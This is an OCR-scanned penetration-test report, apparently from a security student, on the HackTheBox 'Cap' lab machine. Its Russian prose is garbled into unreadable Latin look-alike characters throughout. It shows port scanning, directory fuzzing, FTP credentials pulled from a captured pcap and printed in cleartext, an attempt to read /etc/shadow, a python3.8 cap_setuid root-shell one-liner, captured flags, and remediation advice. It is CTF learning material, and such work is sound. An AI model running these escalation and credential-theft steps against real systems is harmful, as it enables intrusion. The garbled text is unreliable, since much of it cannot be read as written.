OTtyer

¢/ WcnonHuutensb

TecTnpoBaHue BbinosiHeHO KpaBuoBbiM Hukonaem, HaYMHaoLWyiM creuuanmcTom no
MHpopmaumoHHoM 6e3onacHOCTM

ObnacTtb TeCTUpOBaHUA N UCNOSIb30BaHHbIE CIYXObl.

IP/nomeH Mopt CepBUC CepBuc ueneBoro cepeepa
localhost 5901 WinKexServer -
localhost - Nmap Port Scanner -
localhost - GoBuster Directory Fuzzing -
localhost 1234 Reverse Shell Listener -
localhost - Obsidian Notes -
10.10.10.245 80 Web Server +
10.10.10.245 22 SSH +
10.10.10.245 21 FTP +

Ucnonb3oBaHHbIe hannbil:

{usr/bin/python3.8 - noBbILLEHWE NPUBESTIENI.
user.txt - corar.
root.txt - donar.

NMopsapok aencrtemnm

1) 3anyck openvpn gnsa gocrtyna; kex ans Toro, 4Ttobbl caenartb linux
yaobHee

kex ——win && sudo openvpn lab_Kolya0@80808.ovpn
2) CkaHupoBaHue NopToB C NOMOLL LI hmap.

PesynbTaTbl:



PORT  STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2pl Ubuntu dubuntu®.2 (Ubuntu Linux; protocol
2.0)

| ssh-hostkey:

| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)

| 256 96:d8:f8:e3:e8:f7:71:36:¢c5:49:d5:9d:b6:al:c9:0c (ECDSA)

|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn

| _http-server-header: gunicorn

| _http-title: Security Dashboard

| fingerprint-strings:

|  FourOhFourRequest:

| HTTP/1.0 d4ed NOT FOUND

| Server: gunicorn

| Date: Fri, 08 Nov 2024 15:52:39 GMT

| Connection: close

| Content-Type: text/html; charset=utf-8

| Content-Length: 232

| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

| <title>U04 Not Found</title>

| <h1>Not Found</h1l>

| <p>The requested URL was not found on the server. If you entered the URL
manually please check your spelling and try again.</p>

| GetRequest:
| HTTP/1.0 200 OK

| Server: gunicorn

| Date: Fri, 08 Nov 2024 15:52:32 GMT

| Connection: close

| Content-Type: text/html; charset=utf-8

| Content-Length: 19386

| <IDOCTYPE html>

| <html class="no-js" lang="en">

| <head>

| <meta charset="utf-8">

| <meta http-equiv="x-ua-compatible" content="ie=edge">

| <title>Security Dashboard</title>

| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="shortcut icon" type="image/png"
href="/static/images/icon/favicon.ico">

| <link rel="stylesheet" href="/static/css/bootstrap.min.css">

| <link rel="stylesheet" href="/static/css/font-awesome.min.css">
| <link rel="stylesheet" href="/static/css/themify-icons.css">

| <link rel="stylesheet" href="/static/css/metisMenu.css">

| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
| <link rel="stylesheet" href="/static/css/slicknav.min.css">



| <!—— amchar

| HTTPOptions:

| HTTP/1.0 200 OK

| Server: gunicorn

| Date: Fri, 08 Nov 2024 15:52:33 GMT
| Connection: close

| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0

| RTSPRequest:

| HTTP/1.1 400 Bad Request
| Connection: close

| Content-Type: text/html

| Content-Length: 196

| <html>

| <head>

| <title>Bad Request</title>

| </head>

| <body>

| <hl><p>Bad Request</p></h1l>

| Invalid HTTP Version &#x27;Invalid HTTP Version:
§#x27;RTSP/1.0&#x27; &#x27;

| </body>

| _ </html>

8uU/tcp filtered ctf

3) 3anyck gobuster gna noucka gMpeKTopuun

* PesynbTaThl:

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.16.245

[+] Method: GET

[+] Threads: 10

[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404,301

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/data (Status: 302) [Size: 208] [-—> http://10.10.10.245/]



/ip (Status: 200) [Size: 17375]
/netstat (Status: 200) [Size: 38561]
Progress: 5148 / 220561 (2.33%)"C

[!] Keyboard interrupt detected, terminating.
Progress: 5164 / 220561 (2.3U%)

[ERROR] context canceled

Finished

4) 3axoaum Ha Beb6 cepBep U CMOTPUM Ha CTpaHULbI.

PesynbTart:

umber of Packets

imber of IP Packets

imber of TCP Packets

umber of UDP Packets

© Copyright 2021, Al right reserved. Template by Golorlib.

5) MHe Ha rnasa nonanacb CTpaHMUa NPU HaXXaTUU Ha KHOMKY
"Security Snapshot (5 Second PCAP + Analysis)".



PesynbTart:

& 10.10.10.245/data/ % L & =
@ pashboard
ashboar Home | Dashboard lathan v
Nath
Dashboard

Data Type Value

Number of Packets 740

Number of IP Packets 740

Number of TCP Packets 740

Number of UDP Packets 0

) Copyright 2021. All right reserved. Template by Colorlib.

6) A 3awen Ha cTpaHuuy /data/0 u ckayan pcap dawun.

PesynbTart:

- {_Zl.ps:ap

7) NMpun aHann3anpoBaHuu pcap cdanna B wireshark, 1 HaTKHyficA Ha
MHTEPECHYI CTPOKY.

Pesynbrtar:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODA® s @BR@ @ « » 0« >BH oo o B

No. Time Source Destination Protocol _ Length Info
192.168.196.16 TCP 62 54410 — 80 [ACK] Seq=1 Ack=1 Win=1051136 Len=0
192.168.196.16 GET /favicon.ico HTTP/1.1
192.168.196.1 80 - 54410 [ACK] Seq=1 Ack=353 Win=64128 Len=0
192.168.196.1 80 - 54410 [PSH, ACK] Seq=1 Ack=353 Win=64128 Len=24 [TCP segment of a reassembled PDU]
192.168.196.16 192.168.196.1 HTTP/1.© 404 NOT FOUND (text/html)
192.168.196.1 192.168.196.16 54410 — 80 [ACK] Seq=353 Ack=395 Win=1050624 Len=0
192.168.196.1 192.168.196.16 54410 — 80 [FIN, ACK] Seq=353 Ack=395 Win=1050624 Len=0
30 0.450189 192.168.196.16 192.168.196.1 80 - 54410 [ACK]
312.624570 192.168.196.1 192.168.196.16 54411 — 21 [SYN] in=64240 Len=0 MSS=1460 WS=256 SACK_PERM
32 2.624624 192.168.196.16 192.168.196.1 21 - 54411 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 SACK_PERM WS=128
192.168.196.1 192.168.196.16 54411 — 21 [ACK] Seq=1 Ack=1 Win=1051136 Len=0
192.168.196.16 192.168.196.1 Response: 220 (vsFTPd 3.0.3)
192.168.196.16 54411 — 21 [ACK] Seg=1 Ack=21 Win=1051136 Len=0
192.168.196.16 Request: USER nathan
21 - 54411 [ACK] Seq=21 Ack=14 Win=64256 Le
Response: 331 Please specify the password
54411 21 [ACK] Seq=14 Ack=55 Wil 051136 Len
Request: PASS Buck3tHATFORM3!
192.168.196.1 21 - 54411 [ACK] Se 5 Ack=36 Win=64256 Len=0
192.168.196.1 Response: 230 Login successful
192.168.196.16 Request: SYST

192.168.196.1 21 - 54411 [ACK] Seq=78 Ack=42 Win=64256 Len=0
45 5.432937 192.168.196.16 192.168.196.1 Response: 215 UNIX Type: L8
46 5.478790 192.168.196.1 192.168.196.16 54411 — 21 [ACK] Seq=42 Ack=97 Win=1050880 Len=0
47 & 2AAR?R 192 1AR 196 1 192 16R 196 16 FTP R4 Reauest: PORT 132 16R 19A 1 212 14

8) NMonpobyem 3antun Ha ftp.



* [lonbITKa:

[:—(kolya@808086§Nikolapc)—[~]

$ ftp nathan@10.10.10.245
Connected to 10.10.10.245.

220 (vsFTPd 3.0.3)

331 Please specify the password.
Password:

* PesynbrarT:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
ftp>

9) MocMOTPUM 4YTO Y HaAC eCTb.

* KomaHga:

ftp> s
229 Entering Extended Passive Mode (]||]56092])
150 Here comes the directory listing.

-rw-rw-r-- 1 1001 1001 2465 Nov 08 12:59 28l1.c
—-rw-rw-r-—- 1 1001 1001 58 Nov 08 13:14 exploit.py
—rW-rw-r-- 1 1001 1001 541 Nov 08 15:52 index.html
—TWXTWXT—X 1 lo01 1001 827739 Oct 11 01:13 linpeas.sh
—TWXTWXT—X 1 1001 1001 9627 Nov 08 11:15 poc.sh
drwxr-xr-x 3 1001 1001 4e96 Nov 08 11:11 snap
= 1 1001 1001 33 Nov 08 04:03 user.txt
drwxrwxr-x 2 1001 1001 4e96 Nov 08 12:38 www

226 Directory send OK.

10) CkaumBaem user.txt n yntaem.

* KommaHgbi:

ftp> mget user.txt

mget user.txt [anpqy?]? vy

229 Entering Extended Passive Mode (]|]|]43919])

150 Opening BINARY mode data connection for user.txt (33 bytes).
100%

| *hkkkkkkkkkkhkkkhkkkhkhkhkkhkhkhkhkhkhkhkhkkkhhkhkkhkhkhkhkhkhhkhkhkhkhkhkhkkhkhkhkhkkkhkhkhkkkkkkkkk



33 0.37 KiB/s 00:00 ETA

226 Transfer complete.

33 bytes received in 00:00 (0.04 KiB/s)
ftp> exit

221 Goodbye.

I_—(kolya@SOSOS@Nikolapc)—["]
$

1s
Desktop extensions.txt malicious-
wordpress—plugin rockyou.txt XSStrike
directory-list-2.3-big.txt fasttrack.txt Music
Templates xss.txt

directory-list-2.3-medium.txt fasttrack.txt:Zone.Identifier Pictures
thm—troubleshoot

directory-list-2.3-small.txt get-pip.py privesc
unix—-privesc—-check

Documents Kolya080808.ovpn Public
user.txt

Downloads lab_Kolya080808.ovpn reports
Videos

|_—(kolya080808®Nikolapc)— [~]
$ cat user.txt
U5ff23al6ca28bfa7bed8eb9dUu568eca

L—(kolya@SOSOS@Nikolapc)— [~]
$

11) NMocmoTpuM, YTO MbI MOXeM caenaTtb Aanblue.



Google find command ftp

built-in ftp client and

omain.net:/...

m> ... - Mey

ich FTP command can | fi

n FTP Commands
o exit the FTP e

WD WV s B S —————— e g

There's 1ftp too. You can perform things like :

1ftp user@ftp.domain.net:/> find . | grep WORD

Share Improve this answer Follow answer

[47]

d Oct12, 2012 at 8:35 com

12) MNonpobyem HauTU cnocobbl NOBbLILWEHUA NMPUBESIErMn Yyepes
Iftp.

KomaHpa:

1ftp nathan@l0.10.10.245:~> / —perm -4000 2>/dev/null
find: Access failed: 550 Failed to change directory.

BbiBoA;
Hapgo nonpoboBaTtb NOBbICUTL NpUBENerMn Yepes cam ftp.

13) NMonpobyem nonyuutb reverse shell.



MNMonbiTKa

tp» put explolit.py
ocal: exploit.py remote: exploit.py
29 Entering Extended Passive Mode (|| |59218])
58 Permisslon denled.
» put directory-list-2.3-medium.txt
3-medium.txt remote: directory-list-2.3-medium.txt

: directory-1ist-
129 Entering Extended Passiwe Mode (| |]36372])
Ed Permission denied.

BbiBog
OH He gaeT HaMm 3arpysuTb ¢hain, Hago caenaTb YTO-TO ApYyroe.

14) A aypak v 3abbin, 4YTO Naponb MoXeT noaxoAuTb U B ssh.

KomaHga

[:—(kolya@808086§Nikolapc)—[~]

$ nathan@10.10.10.245

nathan@10.10.10.245's password:

Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

System information as of Fri Nov 8 16:47:27 UTC 2024

System load: 0.0 Processes: 239

Usage of /: 37.1% of 8.73GB  Users logged in: 1

Memory usage: 38% IPvU4 address for eth0: 10.10.10.245
Swap usage: 0%

=> There are U zombie processes.

63 updates can be applied immediately.
42 of these updates are standard security updates.

To see these additional updates run: list —--upgradable
The list of available updates is than a week old.
To check for new updates run: update

Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your
Internet connection or proxy settings



Last login: Fri Nov 8 16:46:31 2024 from 10.10.16.40
nathan@cap:~$

15) A nonbiTanca npoyecTb /etc/shadow:

* PesynbtarT:

nathan@cap:~$ cat /etc/shadow

cat: /etc/shadow: Permission denied

nathan@cap:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:6553U:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www—data:x:33:33:www—data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug—Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin

nobody : x:65534:6553U:nobody : /nonexistent: /usr/sbin/nologin
systemd—-network:x:100:102:systemd Network

Management, ,, :/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin

messagebus:x:103:106: : /nonexistent: /usr/sbin/nologin
syslog:x:104:110:: /home/syslog: /usr/sbin/nologin
_apt:x:105:65534U: : /nonexistent: /usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112: :/run/uuidd: /usr/sbin/nologin
tcpdump:x:108:113:: /nonexistent: /usr/sbin/nologin
landscape:x:109:115:: /var/lib/landscape: /usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534: : /run/sshd: /usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
1xd:x:998:100: : /var/snap/1xd/common/1xd:/bin/false



nathan:x:1001:1001: : /home/nathan:/bin/bash

ftp:x:112:118:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon, ,,:/var/lib/usbmux:/usr/sbin/nologin
nathan@cap:~$

16) NMocmMoTpuMm, 4TO MOXHO caenaTtb ANA NOBbIWEHUS NPUBENNerun.

PesynbTtaT

nathan@cap:~$ getcap -r / 2>/dev/null

/usr/bin/python3.8 = cap_setuid, cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep

/usr/bin/traceroute6.iputils = cap_net_raw+ep

/usr/bin/mtr-packet = cap_net_raw+ep
/usr/1ib/x86_6U4-1inux—-gnu/gstreamerl.0/gstreamer-1.0/gst—ptp—helper =
cap_net_bind_service,cap_net_admin+ep

17) MNoBbIWaeM npuBenneruu:

PesynbtaT

nathan@cap:~$ python3.8 —c 'import os;os.setuid(0);os.system("/bin/bash")"
root@cap:~
281l.c exploit.py index.html Tlinpeas.sh poc.sh snap user.txt www

18) Hy n untaem root.txt:

PesynbTart:

root@cap:/root
74204cf6Ufcc91e089U83Ub08b63338F
¢ NpumevaHue

£ cunbHO 3aTynun, Tak YTO Ha BMOEO MNocrie NoslydeHus user.ixt npocTo NpokpyTute 4o
MOMEHTa rge s nosly4mn 4oCTyn K ssh.

Cnacubo HackTheBox 3a Takyto npekpacHyto KomHaTy!!!

HampgeHHble yA3BUMOCTHU



Information Disclosure

PoC:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® c BEBE 2 ¢« > n <« B o o o [f

Source Destination Protocol Length Info
192. 16! 92.168.196 TCP 62 54410 — 80 [ACK]| Seq=1 Ack=1 Win=1051136 Len=o
408 GET /favicon.ico HTTP/1.1
56 80 — 54410 [ACK] Seq=1 Ack=353 Win=64128 Len=o
80 89 - 54410 [PSH, ACK] Seq=1 Ack=353 Win=64128 Len=24 [TCP segment of a reassembled PDU]
27 0.449869 192.168.196.16 192.168.196.1 HTTP 425 HTTP/1.6 404 NOT FOUND (text/html)
28 0.450003 192.168.196.1 192.168.196.16 TCcP 62 54410 — 80 [ACK] Seq=353 Ack=395 Win=1050624 Len=0
29 0.450176 192.168.196.1 192.168.196.16 TCP 62 54410 — 80 [FIN, ACK] Seq=353 Ack=395 Win=1050624 Len=0
30 0.450189 192.168.196.16 192.168.196.1 TCP 56 80 — 54410 [ACK] Seq=395 Ack=354 Win=64128 Len=0
31 2.624570 192.168.196.1 192.168.196.16 TcP 68 54411 — 21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
32 2.624624 192.168.196.16 192.168.196.1 TCP 68 21 — 54411 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 SACK_PERM WS=128
62 54411 — 21 [ACK] Seq=1 Ack=1 Win=1051136 Len=o
76 Response: 220 (VSFTPd 3.0.3)
62 54411 — 21 [ACK] Seq=1 Ack=21 Win=1051136 Len=0
69 Request: USER nathan

90 Response: 331 Please specify the password
Ack=55 Win=1051136 Len=0

425034
42 5.432387 192.168.196.16 192.168 79 Response: 230 Login successful

43 5.432801 192.168.196.1 192.168 62 Request: SYST

44 5.432834 192.168.196.16 192.168. 56 21 - 54411 [ACK] Seq=78 Ack=42 Win=64256 Len=0
45 5.432937 192.168.196.16 192.168.196.1 FTP 75 Response: 215 UNIX Type
46 5.478790 192.168.196.1 192.168.196.16 TCP 62 54411 — 21 [ACK] Seq=42 Ack=97 Win=105088@ Len=0
47 A 30A9AIA 197 168 19A 1 197 1AR 196 16 ETR R4 Renuest: PORT 132 1AR 196 1 219 14@

(NyHKT 7)

nathan@cap:~$ getcap -r / 2>/dev/null

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep

/usr/bin/traceroute6.iputils = cap_net_raw+ep

/usr/bin/mtr-packet = cap_net_raw+ep
/usr/1ib/x86_6U-1inux-gnu/gstreamerl.0/gstreamer-1.0/gst-ptp-helper =
cap_net_bind_service,cap_net_admin+ep

(nyHKT 16)
CVSSv3 Score: 10.0 (Critical)

OnucaHue:

Information Disclosure B gaHHOM cry4ae cBsizaHa C LOCTYNOM K caMoMy NepBoMYy .pcap doauny, B
KOTOPOM Oblf1 HANMCaH Kak UMs nosib3oBaTeris, Tak 1 naporb. Tak Xe 30eCb HenpaBuribHO
HacTpOeHbl AOCTYNbl K AaHHbIM, Briarogaps KOTOpbIM 1 Marno Toro nonyyun goctyn K shell, aa ewe
1 NOBbICUI NPUBENTIENMM.

BocnpousBegeHue ysa3BUMOCTMU:



0.pcap

Lompleted — 3./ Kb

Show all downloads

(NyHKT 6)

nathan@cap:~$ python3.8 —c 'import os;os.setuid(0);os.system("/bin/bash")"
root@cap:~
281.c exploit.py index.html Tlinpeas.sh poc.sh snap user.txt www

(nyHKT 17)
PekomeHgaumm no yctpaHeHuUo:

[MpoBepbTe 1 HAaCTpouTe NpaBa AoCTyna K panrny 0.pcap , YTOObI AOCTYN K HEMY UMENN
TOSMbKO Te NoSib30BaTen, KOTOpbIM OH HeOBXoauM.

[ob6aBbTe perncTpaumio 1 BXO4 Ha CauT: JOCTYMN K TakuM hainam Hy>XeH TOSbKO
onpeneneHHLIM nosb30BaTensaMm.

VlCI'IOJ'Ib3yIZTe NPUHUUN MUHUMATTb HbIX ananerMﬁ: OOCTyn K tcp Aamny 0OoJTPKeH
npenocTaBsiATbCA TOJIbKO TEM MOJIb30BaTENIAM, KOTOPbIM OH HYXKEH.

MNMepemecTute 0.pcap B 3aLLULLEHHYIO AUPEKTOPUIO C OFPaHMYEeHHbIM OCTYNOM, KoTopas
HaXOAUTCS BHE 30Hbl AOCTYMNa NoJSib30BaTess NPUNOXEHNS.

HacTtpowute npaBa gocTtyna Ha banroBon cucTeMe, YCTaHOBMB XECTKME OrpaHnYeHns Ha
YTEHWE 1 3anncb AaHHbIX B ©6ase, YToObI TONMbKO onpeaerieHHbIe NPOoLEeCChl MO

obpaw@aTbcs K chanrny.

Buaeo BbIiNnonHeHUs
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